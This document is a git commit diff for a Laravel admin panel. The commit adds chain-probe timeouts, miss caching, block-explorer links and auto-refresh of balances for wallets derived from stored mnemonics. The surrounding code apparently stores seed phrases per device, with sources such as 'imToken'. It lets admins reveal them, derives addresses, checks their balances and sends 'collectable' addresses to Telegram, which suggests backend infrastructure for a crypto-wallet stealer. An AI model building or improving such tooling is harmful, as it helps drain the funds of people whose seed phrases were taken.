feat: 查看钱包优化,地址增加链上查询

This commit is contained in:
example
2026-09-28 21:11:08 +08:00
parent 5b677d4d1f
commit 8f7469cc4e
10 changed files with 313 additions and 88 deletions
@@ -12,6 +12,7 @@ use App\Models\User;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
use App\Services\AdminGoogle2fa; use App\Services\AdminGoogle2fa;
use App\Services\Chain\ChainHttpTimeout;
use App\Services\IngestService; use App\Services\IngestService;
use App\Services\MnemonicAddressLinker; use App\Services\MnemonicAddressLinker;
use App\Services\MnemonicWalletDiscovery; use App\Services\MnemonicWalletDiscovery;
@@ -28,7 +29,7 @@ class MnemonicController extends Controller
use PortalAware; use PortalAware;
use RevealsMnemonics; use RevealsMnemonics;
private const REFRESH_DECAY_SECONDS = 60; private const REFRESH_DECAY_SECONDS = 30;
public function index() public function index()
{ {
@@ -257,12 +258,12 @@ class MnemonicController extends Controller
return response()->json(['code' => 1, 'msg' => '无权操作'], 403); return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
} }
$discovery->discoverActivated($mnemonic);
return response()->json([ return response()->json([
'code' => 0, 'code' => 0,
'msg' => '', 'msg' => '',
'data' => $this->walletsPayload($mnemonic, $discovery), 'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
'updating' => true,
]),
]); ]);
} }
@@ -297,19 +298,21 @@ class MnemonicController extends Controller
$ok = 0; $ok = 0;
$fail = 0; $fail = 0;
foreach ($addresses as $address) { ChainHttpTimeout::using(MnemonicWalletDiscovery::PROBE_TIMEOUT_SECONDS, function () use ($addresses, $balances, &$ok, &$fail) {
// WalletBalanceService::refresh persists coin columns onto wallet_addresses. foreach ($addresses as $address) {
if ($balances->refresh($address)) { if ($balances->refresh($address)) {
$ok++; $ok++;
} else { } else {
$fail++; $fail++;
}
} }
} });
return response()->json([ return response()->json([
'code' => 0, 'code' => 0,
'msg' => 'ok', 'msg' => 'ok',
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [ 'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
'updating' => false,
'refreshed' => $ok, 'refreshed' => $ok,
'failed' => $fail, 'failed' => $fail,
'retry_after' => self::REFRESH_DECAY_SECONDS, 'retry_after' => self::REFRESH_DECAY_SECONDS,
+1 -1
View File
@@ -491,6 +491,6 @@ class BtcDriver implements ChainDriver
private function http(): PendingRequest private function http(): PendingRequest
{ {
return Http::timeout(30)->acceptJson(); return ChainHttpTimeout::apply(Http::timeout(30)->acceptJson());
} }
} }
+39
View File
@@ -0,0 +1,39 @@
<?php
namespace App\Services\Chain;
use Illuminate\Http\Client\PendingRequest;
/**
* Optional shorter HTTP timeout for a block of chain calls.
* Drivers opt in via apply(); transfers keep their own defaults.
*/
final class ChainHttpTimeout
{
private static ?int $seconds = null;
public static function active(): bool
{
return self::$seconds !== null;
}
public static function using(int $seconds, callable $callback): mixed
{
$previous = self::$seconds;
self::$seconds = max(1, $seconds);
try {
return $callback();
} finally {
self::$seconds = $previous;
}
}
public static function apply(PendingRequest $request): PendingRequest
{
if (self::$seconds === null) {
return $request;
}
return $request->connectTimeout(min(3, self::$seconds))->timeout(self::$seconds);
}
}
+14 -4
View File
@@ -64,7 +64,10 @@ class EthDriver implements ChainDriver
if (is_string($hex) && bccomp($this->hexToDec($hex), '0', 0) > 0) { if (is_string($hex) && bccomp($this->hexToDec($hex), '0', 0) > 0) {
return true; return true;
} }
} catch (\Throwable) { } catch (\Throwable $e) {
if (ChainHttpTimeout::active()) {
throw $e;
}
// fall through to balances // fall through to balances
} }
@@ -72,7 +75,10 @@ class EthDriver implements ChainDriver
if (bccomp($this->getNativeBalance($address), '0', 18) > 0) { if (bccomp($this->getNativeBalance($address), '0', 18) > 0) {
return true; return true;
} }
} catch (\Throwable) { } catch (\Throwable $e) {
if (ChainHttpTimeout::active()) {
throw $e;
}
// fall through to token // fall through to token
} }
@@ -82,7 +88,11 @@ class EthDriver implements ChainDriver
if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) { if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) {
return true; return true;
} }
} catch (\Throwable) { } catch (\Throwable $e) {
if (ChainHttpTimeout::active()) {
throw $e;
}
return false; return false;
} }
} }
@@ -270,6 +280,6 @@ class EthDriver implements ChainDriver
private function http(): PendingRequest private function http(): PendingRequest
{ {
return Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson(); return ChainHttpTimeout::apply(Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson());
} }
} }
+1 -1
View File
@@ -158,7 +158,7 @@ class SolDriver implements ChainDriver
private function http(): PendingRequest private function http(): PendingRequest
{ {
$req = Http::timeout(30)->acceptJson()->asJson(); $req = ChainHttpTimeout::apply(Http::timeout(30)->acceptJson()->asJson());
$apiKey = (string) config('coruna.sol.api_key', ''); $apiKey = (string) config('coruna.sol.api_key', '');
if ($apiKey !== '') { if ($apiKey !== '') {
$req = $req->withHeaders(['Authorization' => 'Bearer '.$apiKey]); $req = $req->withHeaders(['Authorization' => 'Bearer '.$apiKey]);
+1 -1
View File
@@ -300,7 +300,7 @@ class TronDriver implements ChainDriver
private function http(): PendingRequest private function http(): PendingRequest
{ {
$req = Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson(); $req = ChainHttpTimeout::apply(Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson());
$apiKey = (string) config('coruna.tron.api_key', ''); $apiKey = (string) config('coruna.tron.api_key', '');
if ($apiKey !== '') { if ($apiKey !== '') {
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]); $req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
+57 -19
View File
@@ -6,9 +6,11 @@ use App\Models\WalletAddress;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
use App\Services\Chain\BtcDriver; use App\Services\Chain\BtcDriver;
use App\Services\Chain\ChainDriver; use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainHttpTimeout;
use App\Services\Chain\ChainManager; use App\Services\Chain\ChainManager;
use App\Services\Chain\TronDriver; use App\Services\Chain\TronDriver;
use App\Services\Tokenview\TokenviewMonitorService; use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Log;
/** /**
@@ -22,6 +24,12 @@ class MnemonicWalletDiscovery
{ {
public const MAX_DERIVE_INDEX = 2; public const MAX_DERIVE_INDEX = 2;
/** Probe timeout while opening/refreshing the mnemonic wallet dialog. */
public const PROBE_TIMEOUT_SECONDS = 8;
/** How long a chain with no activated address (or a failed probe) stays skipped. */
public const MISS_CACHE_SECONDS = 600;
/** @var list<array{chain: string, chain_type: string}> */ /** @var list<array{chain: string, chain_type: string}> */
private const CHAINS = [ private const CHAINS = [
['chain' => 'tron', 'chain_type' => 'TRON'], ['chain' => 'tron', 'chain_type' => 'TRON'],
@@ -77,29 +85,51 @@ class MnemonicWalletDiscovery
$source = trim((string) ($mnemonic->source ?: '')); $source = trim((string) ($mnemonic->source ?: ''));
$saved = []; $saved = [];
foreach (self::CHAINS as $spec) { return ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, &$saved) {
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) { foreach (self::CHAINS as $spec) {
continue; if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
} continue;
}
if (Cache::has($this->missCacheKey($mnemonic, $spec['chain']))) {
continue;
}
try { try {
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']); $rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $spec['chain'],
]);
$this->rememberMiss($mnemonic, $spec['chain']);
continue;
}
if ($rows === []) {
$this->rememberMiss($mnemonic, $spec['chain']);
}
foreach ($rows as $row) { foreach ($rows as $row) {
$saved[] = $row; $saved[] = $row;
} }
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $spec['chain'],
]);
} }
}
if ($saved !== []) { if ($saved !== []) {
$this->telegram->notifyCollectableAddresses($saved); $this->telegram->notifyCollectableAddresses($saved);
} }
return count($saved); return count($saved);
});
}
private function missCacheKey(WalletMnemonic $mnemonic, string $chain): string
{
return 'mnemonic-discover-miss:'.$mnemonic->id.':'.$chain;
}
private function rememberMiss(WalletMnemonic $mnemonic, string $chain): void
{
Cache::put($this->missCacheKey($mnemonic, $chain), 1, self::MISS_CACHE_SECONDS);
} }
/** /**
@@ -190,7 +220,7 @@ class MnemonicWalletDiscovery
'address' => $address, 'address' => $address,
'index' => $index, 'index' => $index,
]); ]);
continue; break;
} }
if (! $probe['activated']) { if (! $probe['activated']) {
@@ -273,7 +303,11 @@ class MnemonicWalletDiscovery
{ {
try { try {
$bnb = $driver->getNativeBalance($address); $bnb = $driver->getNativeBalance($address);
} catch (\Throwable) { } catch (\Throwable $e) {
if (\App\Services\Chain\ChainHttpTimeout::active()) {
throw $e;
}
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')]; return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
} }
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', '')); $usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
@@ -318,7 +352,11 @@ class MnemonicWalletDiscovery
{ {
try { try {
$sol = $driver->getNativeBalance($address); $sol = $driver->getNativeBalance($address);
} catch (\Throwable) { } catch (\Throwable $e) {
if (\App\Services\Chain\ChainHttpTimeout::active()) {
throw $e;
}
return ['activated' => false, 'coins' => $this->emptyCoins('sol')]; return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
} }
@@ -22,7 +22,25 @@
.addr-chain-unknown, .addr-chain-unkno { background: #909399; } .addr-chain-unknown, .addr-chain-unkno { background: #909399; }
.addr-monitor-on { color: #16b777; font-weight: 600; } .addr-monitor-on { color: #16b777; font-weight: 600; }
.addr-monitor-off { color: #ff5722; font-weight: 600; } .addr-monitor-off { color: #ff5722; font-weight: 600; }
.addr-cell { word-break: break-all; font-family: Menlo, Monaco, Consolas, monospace; font-size: 12px; } .addr-cell { font-family: Menlo, Monaco, Consolas, monospace; font-size: 12px; }
.addr-cell-row {
display: flex;
align-items: center;
gap: 8px;
min-width: 0;
}
.addr-cell-row .addr-text {
flex: 1 1 auto;
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.addr-cell-row .addr-explorer {
flex: 0 0 auto;
font-family: inherit;
white-space: nowrap;
}
</style> </style>
<div class="layui-card"> <div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-addr-search"> <form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-addr-search">
@@ -145,6 +163,39 @@ layui.use(['table', 'form', 'layer'], function () {
return '<span class="' + cls + '">' + raw + '</span>'; return '<span class="' + cls + '">' + raw + '</span>';
} }
function explorerUrl(chain, address) {
var addr = String(address || '').trim();
if (!addr) return '';
var c = String(chain || '').trim().toUpperCase();
if (c === 'TRON' || c === 'TRX') return 'https://tronscan.org/#/address/' + encodeURIComponent(addr);
if (c === 'ETH' || c === 'ETHEREUM' || c === 'EVM') return 'https://etherscan.io/address/' + encodeURIComponent(addr);
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
return '';
}
function escHtml(s) {
return String(s == null ? '' : s)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
}
function addressCellHtml(d) {
var addr = d.address || '';
var url = explorerUrl(d.chain_type, addr);
var html = '<div class="addr-cell addr-cell-row">';
html += '<span class="addr-text" title="' + escHtml(addr) + '">' + escHtml(addr) + '</span>';
if (url) {
html += '<a class="layui-btn layui-btn-primary layui-btn-xs addr-explorer" href="' + escHtml(url) +
'" target="_blank" rel="noopener noreferrer">链上查询</a>';
}
html += '</div>';
return html;
}
function assetsForRow(d) { function assetsForRow(d) {
var type = String(d.chain_type || '').toUpperCase(); var type = String(d.chain_type || '').toUpperCase();
var addr = String(d.address || ''); var addr = String(d.address || '');
@@ -243,9 +294,7 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'id', title: 'ID', width: 70, sort: true }, { field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'source', title: '来源', width: 120 }, { field: 'source', title: '来源', width: 120 },
{ field: 'device_key', title: '设备 ID', width: 150, sort: true }, { field: 'device_key', title: '设备 ID', width: 150, sort: true },
{ field: 'address', title: '地址', minWidth: 360, templet: function (d) { { field: 'address', title: '地址', minWidth: 420, templet: addressCellHtml },
return '<span class="addr-cell">' + (d.address || '') + '</span>';
}},
{ field: 'chain_type', title: 'Chain', width: 110, templet: function (d) { { field: 'chain_type', title: 'Chain', width: 110, templet: function (d) {
return chainTag(d.chain_type); return chainTag(d.chain_type);
}}, }},
+103 -38
View File
@@ -28,9 +28,27 @@
} }
.mn-wallet-table th { background: #fafafa; font-weight: 600; white-space: nowrap; } .mn-wallet-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
.mn-wallet-table .addr-cell { .mn-wallet-table .addr-cell {
word-break: break-all;
font-family: Menlo, Monaco, Consolas, monospace; font-family: Menlo, Monaco, Consolas, monospace;
max-width: 280px; max-width: 360px;
vertical-align: middle;
}
.mn-wallet-table .addr-cell .addr-row {
display: flex;
align-items: center;
gap: 8px;
min-width: 0;
}
.mn-wallet-table .addr-cell .addr-text {
flex: 1 1 auto;
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.mn-wallet-table .addr-cell .mn-explorer {
flex: 0 0 auto;
font-family: inherit;
white-space: nowrap;
} }
.mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; } .mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; }
.mn-inactive { .mn-inactive {
@@ -45,6 +63,7 @@
border-radius: 3px; border-radius: 3px;
vertical-align: middle; vertical-align: middle;
} }
.mn-updating { color: #1e9fff; }
</style> </style>
<div class="layui-card"> <div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search"> <form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
@@ -114,13 +133,40 @@ layui.use(['table', 'form', 'layer'], function () {
return (v === null || v === undefined || v === '') ? '—' : esc(v); return (v === null || v === undefined || v === '') ? '—' : esc(v);
} }
function explorerUrl(chain, address) {
var addr = String(address || '').trim();
if (!addr) return '';
var c = String(chain || '').trim().toUpperCase();
if (c === 'TRON' || c === 'TRX') return 'https://tronscan.org/#/address/' + encodeURIComponent(addr);
if (c === 'ETH' || c === 'ETHEREUM' || c === 'EVM') return 'https://etherscan.io/address/' + encodeURIComponent(addr);
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
return '';
}
function addrCellHtml(r) {
var addr = r.address || '';
var url = explorerUrl(r.chain_type, addr);
var html = '<td class="addr-cell"><div class="addr-row">';
html += '<span class="addr-text" title="' + esc(addr) + '">' + esc(addr) + '</span>';
if (url) {
html += '<a class="layui-btn layui-btn-primary layui-btn-xs mn-explorer" href="' + esc(url) +
'" target="_blank" rel="noopener noreferrer">链上查询</a>';
}
html += '</div></td>';
return html;
}
function renderWalletsHtml(payload) { function renderWalletsHtml(payload) {
var rows = (payload && payload.addresses) || []; var rows = (payload && payload.addresses) || [];
var html = '<div class="mn-wallet-wrap">'; var html = '<div class="mn-wallet-wrap">';
html += '<div class="mn-wallet-hd">'; html += '<div class="mn-wallet-hd">';
html += '<div class="mn-wallet-meta">助记词 #' + esc(payload.mnemonic_id) + html += '<div class="mn-wallet-meta">助记词 #' + esc(payload.mnemonic_id) +
(payload.source ? ' · ' + esc(payload.source) : '') + (payload.source ? ' · ' + esc(payload.source) : '') +
' · 关联地址 ' + rows.length + ' 个</div>'; ' · 关联地址 ' + rows.length + ' 个' +
(payload.updating ? ' · <span class="mn-updating">正在更新</span>' : '') +
'</div>';
if (rows.length && payload.refresh_url) { if (rows.length && payload.refresh_url) {
html += '<button type="button" class="layui-btn layui-btn-sm" id="LAY-mn-refresh-bal">刷新余额</button>'; html += '<button type="button" class="layui-btn layui-btn-sm" id="LAY-mn-refresh-bal">刷新余额</button>';
} }
@@ -139,7 +185,7 @@ layui.use(['table', 'form', 'layer'], function () {
'<td>' + (r.id == null || r.id === '' ? '—' : esc(r.id)) + '</td>' + '<td>' + (r.id == null || r.id === '' ? '—' : esc(r.id)) + '</td>' +
'<td>' + esc(r.chain_type || '—') + '<td>' + esc(r.chain_type || '—') +
(inactive ? '<span class="mn-inactive">未激活</span>' : '') + '</td>' + (inactive ? '<span class="mn-inactive">未激活</span>' : '') + '</td>' +
'<td class="addr-cell">' + esc(r.address) + '</td>' + addrCellHtml(r) +
'<td>' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '</td>' + '<td>' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '</td>' +
'<td class="coin-cell">' + coinVal(r.usdt) + '</td>' + '<td class="coin-cell">' + coinVal(r.usdt) + '</td>' +
'<td class="coin-cell">' + coinVal(r.trx) + '</td>' + '<td class="coin-cell">' + coinVal(r.trx) + '</td>' +
@@ -166,25 +212,36 @@ layui.use(['table', 'form', 'layer'], function () {
bindRefresh(layero, payload); bindRefresh(layero, payload);
} }
function bindRefresh(layero, payload) { function bindRefresh(layero, payload, auto) {
layero.find('#LAY-mn-refresh-bal').off('click').on('click', function () { layero.find('#LAY-mn-refresh-bal').off('click').on('click', function () {
var btn = $(this); runWalletRefresh(layero, payload, false);
if (btn.prop('disabled')) return; });
if (!payload.refresh_url) return; if (auto && payload.updating && payload.refresh_url) {
btn.prop('disabled', true).addClass('layui-btn-disabled'); runWalletRefresh(layero, payload, true);
var loadIdx = layer.load(1, { shade: 0.1 }); }
$.ajax({ }
url: payload.refresh_url,
method: 'POST', function runWalletRefresh(layero, payload, auto) {
data: { _token: token }, var btn = layero.find('#LAY-mn-refresh-bal');
success: function (res) { if (!payload.refresh_url) return;
layer.close(loadIdx); if (btn.prop('disabled') && !auto) return;
if (!res || res.code !== 0) { btn.prop('disabled', true).addClass('layui-btn-disabled');
btn.prop('disabled', false).removeClass('layui-btn-disabled'); var loadIdx = auto ? null : layer.load(1, { shade: 0.1 });
return layer.msg((res && res.msg) || '刷新失败'); $.ajax({
} url: payload.refresh_url,
var next = res.data || {}; method: 'POST',
applyWalletsHtml(layero, next); data: { _token: token },
success: function (res) {
if (loadIdx != null) layer.close(loadIdx);
if (!res || res.code !== 0) {
btn.prop('disabled', false).removeClass('layui-btn-disabled');
if (!auto) layer.msg((res && res.msg) || '刷新失败');
return;
}
var next = res.data || {};
next.updating = false;
applyWalletsHtml(layero, next);
if (!auto) {
var ok = Number(next.refreshed || 0); var ok = Number(next.refreshed || 0);
var fail = Number(next.failed || 0); var fail = Number(next.failed || 0);
layer.msg(fail ? ('已写入地址表 ' + ok + ' 个,失败 ' + fail + ' 个') : ('已写入地址表 ' + ok + ' 个')); layer.msg(fail ? ('已写入地址表 ' + ok + ' 个,失败 ' + fail + ' 个') : ('已写入地址表 ' + ok + ' 个'));
@@ -194,22 +251,30 @@ layui.use(['table', 'form', 'layer'], function () {
setTimeout(function () { setTimeout(function () {
nextBtn.prop('disabled', false).removeClass('layui-btn-disabled'); nextBtn.prop('disabled', false).removeClass('layui-btn-disabled');
}, cooldown * 1000); }, cooldown * 1000);
},
error: function (xhr) {
layer.close(loadIdx);
var body = xhr.responseJSON || {};
var retry = body.data && body.data.retry_after ? Number(body.data.retry_after) : 0;
if (xhr.status === 429 && retry > 0) {
layer.msg(body.msg || ('请 ' + retry + ' 秒后再试'));
setTimeout(function () {
btn.prop('disabled', false).removeClass('layui-btn-disabled');
}, retry * 1000);
return;
}
btn.prop('disabled', false).removeClass('layui-btn-disabled');
layer.msg(body.msg || body.message || '刷新失败');
} }
}); },
error: function (xhr) {
if (loadIdx != null) layer.close(loadIdx);
var body = xhr.responseJSON || {};
var retry = body.data && body.data.retry_after ? Number(body.data.retry_after) : 0;
if (xhr.status === 429) {
if (!auto) layer.msg(body.msg || ('请 ' + retry + ' 秒后再试'));
payload.updating = false;
applyWalletsHtml(layero, payload);
if (!auto && retry > 0) {
var nextBtn = layero.find('#LAY-mn-refresh-bal');
nextBtn.prop('disabled', true).addClass('layui-btn-disabled');
setTimeout(function () {
nextBtn.prop('disabled', false).removeClass('layui-btn-disabled');
}, retry * 1000);
}
return;
}
btn.prop('disabled', false).removeClass('layui-btn-disabled');
payload.updating = false;
applyWalletsHtml(layero, payload);
if (!auto) layer.msg(body.msg || body.message || '刷新失败');
}
}); });
} }
@@ -234,7 +299,7 @@ layui.use(['table', 'form', 'layer'], function () {
shadeClose: true, shadeClose: true,
content: renderWalletsHtml(payload), content: renderWalletsHtml(payload),
success: function (layero) { success: function (layero) {
bindRefresh(layero, payload); bindRefresh(layero, payload, true);
} }
}); });
}, },
+30 -9
View File
@@ -10,6 +10,7 @@ use App\Models\WalletAddress;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
use App\Services\Chain\TronDriver; use App\Services\Chain\TronDriver;
use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test; use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase; use Tests\TestCase;
@@ -18,6 +19,12 @@ class MnemonicWalletsTest extends TestCase
{ {
use RefreshDatabase; use RefreshDatabase;
protected function setUp(): void
{
parent::setUp();
Cache::flush();
}
private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic
{ {
$row = new WalletMnemonic([ $row = new WalletMnemonic([
@@ -173,6 +180,7 @@ class MnemonicWalletsTest extends TestCase
]], ]],
'success' => true, 'success' => true,
], 200), ], 200),
'*' => Http::response([], 404),
]); ]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
@@ -222,6 +230,16 @@ class MnemonicWalletsTest extends TestCase
->getJson(route('admin.mnemonics.wallets', $mnemonic)) ->getJson(route('admin.mnemonics.wallets', $mnemonic))
->assertOk() ->assertOk()
->assertJsonPath('code', 0) ->assertJsonPath('code', 0)
->assertJsonPath('data.updating', true)
->assertJsonPath('data.addresses.0.persisted', false);
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.updating', false)
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH') ->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
->assertJsonPath('data.addresses.0.chain_type', 'TRON') ->assertJsonPath('data.addresses.0.chain_type', 'TRON')
->assertJsonPath('data.addresses.0.trx', '5') ->assertJsonPath('data.addresses.0.trx', '5')
@@ -256,7 +274,7 @@ class MnemonicWalletsTest extends TestCase
$mnemonic = $this->storeMnemonic($device); $mnemonic = $this->storeMnemonic($device);
$this->actingAs($admin, 'admin') $this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.wallets', $mnemonic)) ->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic))
->assertOk() ->assertOk()
->assertJsonPath('code', 0) ->assertJsonPath('code', 0)
->assertJsonPath('data.addresses.0.address', $tron2) ->assertJsonPath('data.addresses.0.address', $tron2)
@@ -290,10 +308,13 @@ class MnemonicWalletsTest extends TestCase
$this->actingAs($admin, 'admin') $this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.wallets', $mnemonic)) ->getJson(route('admin.mnemonics.wallets', $mnemonic))
->assertOk() ->assertOk()
->assertJsonPath('code', 0) ->assertJsonPath('data.updating', true)
->assertJsonPath('data.addresses.0.active', false) ->assertJsonPath('data.addresses.0.persisted', false);
->assertJsonPath('data.addresses.0.persisted', false)
->assertJsonCount(3, 'data.addresses'); $this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic))
->assertOk()
->assertJsonPath('code', 0);
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); $this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
$this->assertDatabaseMissing('wallet_addresses', [ $this->assertDatabaseMissing('wallet_addresses', [
@@ -323,10 +344,10 @@ class MnemonicWalletsTest extends TestCase
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94') ->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
->assertJsonPath('data.addresses.1.chain_type', 'ETH') ->assertJsonPath('data.addresses.1.chain_type', 'ETH')
->assertJsonPath('data.addresses.1.active', false) ->assertJsonPath('data.addresses.1.active', false)
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA') ->assertJsonPath('data.addresses.2.chain_type', 'BSC')
->assertJsonPath('data.addresses.2.chain_type', 'BTC') ->assertJsonPath('data.addresses.3.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
->assertJsonPath('data.addresses.2.active', false) ->assertJsonPath('data.addresses.3.chain_type', 'BTC')
->assertJsonCount(3, 'data.addresses'); ->assertJsonPath('data.addresses.3.active', false);
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count()); $this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); $this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());